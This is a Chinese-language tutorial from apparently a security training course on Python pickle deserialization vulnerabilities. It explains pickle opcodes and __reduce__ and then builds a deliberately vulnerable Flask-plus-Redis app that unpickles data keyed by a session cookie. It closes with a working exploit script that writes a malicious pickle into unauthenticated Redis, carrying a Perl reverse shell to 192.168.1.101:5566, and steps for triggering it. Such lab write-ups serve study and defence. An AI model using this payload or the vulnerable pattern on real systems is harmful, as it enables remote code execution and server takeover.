文章来源|MS08067 Web高级攻防第3期作业
本文作者:huang(Web高级攻防3期学员)
Python序列化是将Python对象及其所拥有的层次结构转化为一个字节流的过程,反序列化是将字节流转化回一个对象层次结构。
在python中通常使用json、pickle/cPickle以及marshal、shelve等方式进行序列化和反序列化操作。
模块名称 | 描述 | 提供的api |
---|---|---|
json | 用于实现Python数据类型与通用(json)字符串之间的转换 | dumps()、dump()、loads()、load() |
pickle/cPickle | 用于实现Python数据类型与Python特定二进制格式之间的转换。pickle或cPickle两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同。 | dumps()、dump()、loads()、load() |
marshal | marshal负责在Python数值与二进制字节对象之间进行转换的。marshal的存在主要是为了支持 Python 的 .pyc 文件。 | dumps()、dump()、loads()、load() |
shelve | shelve模块是一个简单的以k,v结构将内存中的数据通过文件持久化的模块,可以持久化任何pickle可支持的python数据类型 | open() |
一般pickle是序列化Python对象时的首选。
1.JSON 是一个文本序列化格式(它输出 unicode 文本,尽管在大多数时候它会接着以 utf-8 编码),而 pickle 是一个二进制序列化格式;2.JSON 是我们可以直观阅读的,而 pickle 不是;3.JSON是可互操作的,在Python系统之外广泛使用,而pickle则是Python专用的;4.默认情况下,JSON 只能表示 Python 内置类型的子集,不能表示自定义的类;但 pickle 可以表示大量的 Python 数据类型(可以合理使用 Python 的对象内省功能自动地表示大多数类型,复杂情况可以通过实现 specific object APIs 来解决)。5.JSON对一个不信任的JSON进行反序列化的操作本身不会造成任意代码执行漏洞。而pickle 模块并不安全。你只应该对你信任的数据进行反序列化操作。构建恶意的 pickle 数据来在解封时执行任意代码是可以实现的的。下面我们重点讲解pickle模块如何实现反序列化。
函数 | 说明 |
---|---|
dumps | 对象反序列化为bytes对象 |
dump | 对象反序列化到文件对象,存入文件 |
loads | 从bytes对象反序列化 |
load | 对象反序列化,从文件中读取数据 |
与 PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(python2)或字节流(python3),以便于传输与存储
python2执行结果python3执行结果同样的代码,得到的结果完全不同。这就涉及到了PVM,因为它是Python序列化过程和反序列化过程中最根本的东西。具体可参考【https://www.cnblogs.com/wjrblogs/p/14057784.html】
python2执行结果字符的特殊含义如下
符号 | 说明 | 含义 |
---|---|---|
c | 读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中 | 导入模块及其具体对象,nt->windows,posix->linux |
( | 将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组 | 左括号 |
t | 从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中 | 相当于),与(组合构成一个元组 |
R | 将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中 | 标识反序列化时根据reduce中的方式完成反序列化,会避免报错(漏洞点) |
S | 读取引号中的字符串直到换行符处,然后将它压入堆栈 | 代表一个字符串 |
P | 后面接一个数字,标识第N块堆栈 | 如p0,p1 |
. | 将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。 | 标识结束 |
python3执行结果字符的特殊含义如下(因为我是用的python是最新的3.10版本,所以默认协议为4.参考链接:https://peps.python.org/pep-3154/, 其他版本协议参考https://blog.csdn.net/m0_65129142/article/details/121972449)
b'\x80\x04\x95\x0f\x00\x00\x00\x00\x00\x00\x00\x8c\x0bhello world\x94.'
| x80 | x04 | protocol header (2 bytes) \x80协议头声明 \x04:协议版本
| OP | FRAME opcode (1 byte) 帧操作码\x95
| MM MM MM MM MM MM MM MM | frame size (8 bytes, little-endian) 帧大小x0f\x00\x00\x00\x00\x00\x00\x00
| .... | first frame contents (M bytes) 数据:\x8c\x0bhello world
. 结束 \x94.
(1)PHP在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作。(2) Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE
ptyhon反序列化漏洞出现在 reduce()魔法函数上,这一点和PHP中的__wakeup() 魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。所以容易被进行漏洞利用。官方解释如下:
魔数函数__reduce__(),在构造的过程中有两种构造规则。(1)如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return ‘str’,那么它就会在当前的作用域中寻找名为str的对象然后返回,否则报错。(2)如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。例如下面代码return (os.system,('whoami',)),_reduce_()时自动调用执行os.system函数,然后元组内的值whoami作为参数,从而达到执行命令或代码的目的。
所以我们可以利用__reduce__()第二种构造规则来执行恶意代码。
原理及漏洞、redis安装可参考https://www.cnblogs.com/bmjoker/p/9548962.html 当前测试环境需要安装redis服务,并且设置未授权问题。redis.conf文件中将bind 127.0.0.1注释掉,部分版本要将protected-mode yes 修改为protected-mode no。redis以root身份来运行。(普通权限运行也可测试) 启动redis服务
测试反序列化漏洞代码如下:
import redis
from flask import Flask,request,session
import pickle
import random
app = Flask(__name__) #需要安装flask,pip install flask
class Redis: #定义Redis类,类中有三个方法,connect()方法负责连接redis数据库。注意IP和端口
@staticmethod
def connect():
r = redis.StrictRedis(host='localhost', port=6379, db=0)
return r
@staticmethod
def set_data(r,key,data,ex=None): #连接redis数据库后存值,(key=data)
r.set(key,pickle.dumps(data),ex) #在存储数据时先对数据进行序列化
@staticmethod
def get_data(r,key):#取值,根据key来取值,并对取出的数据进行反序列化
data = r.get(key)
if data is None:
return None
return pickle.loads(data)
def getrand():#获取随机字符串
str='abcdefghijklnmopqrstuvwxyz1234567890'
count = ''
for i in range(10):
index = random.randint(0,35)
count += str[index]
return count
@app.route('/',methods=['GET']) #用户请求为:http://127.0.0.1:5000?str=test,服务端获取str值并存入到redis,key是随机字符串,data是test
def hello_world():
str = request.args.get('str')
r = Redis.connect()
rand = getrand()
Redis.set_data(r,rand,str)
return rand+':'+str
@app.route('/getcookie')#当用户访问http://127.0.0.1:5000/getcookie时需要提前在浏览器中设置cookie:session=key。注意key是存数据之前随机生成的,读取数据。对序列化的数据进行反序列化
def get_cookie():
cookie = request.cookies.get('session')
r = Redis.connect()
data = Redis.get_data(r,cookie)
return 'your data:',data
#return cookie
if __name__ == '__main__':
app.run()
上述代码存储为code.py,运行:python code.py命令,就在5000端口启动简单的服务端访问http://127.0.0.1:5000/?str=huang 即可利用代码中Redis类中set_data()方法往redis服务器中插入str变量huang,并通过getrand()生成随机字符串key
访问redis服务器查看写入的数据情况,redis-cli
可见redis存在未授权漏洞,我们尝试利用Python来利用redis来获取服务器的shell。
通过构造payload 修改session,将session的值修改成可利用的shell,将下列代码保存为code3.py并执行
#!/usr/bin/env python
#encoding:utf-8
import cPickle
import os
import redis
class exp(object):
def __reduce__(self):
s = """perl -e 'use Socket;$i="192.168.1.101";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'""" #反弹shell的语句可以替换成其他方式
#192.168.1.100:5566为监听端口,为了反弹shell
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='127.0.0.1', port=6379, db=0)
r.set("c60kulaool", s) #c60kulaool为生成的session值
重新查看c60kulaool的值,shell成功插入
访问http://127.0.0.1//getcookie 控制台设置cookie:session,命令:document.cookie= ' session=c60kulaool'
在攻击机上启动监听
刷新访问127.0.0.1:5000/getcookie,攻击机上获得shell
参考文档:https://docs.python.org/zh-cn/3/library/pickle.html https://blog.csdn.net/qq_43431158/article/details/108919605 https://blog.csdn.net/m0_65129142/article/details/121972449 https://www.cnblogs.com/crelle/p/13528641.html https://www.sohu.com/a/406114366_472906
— 实验室旗下直播培训课程 —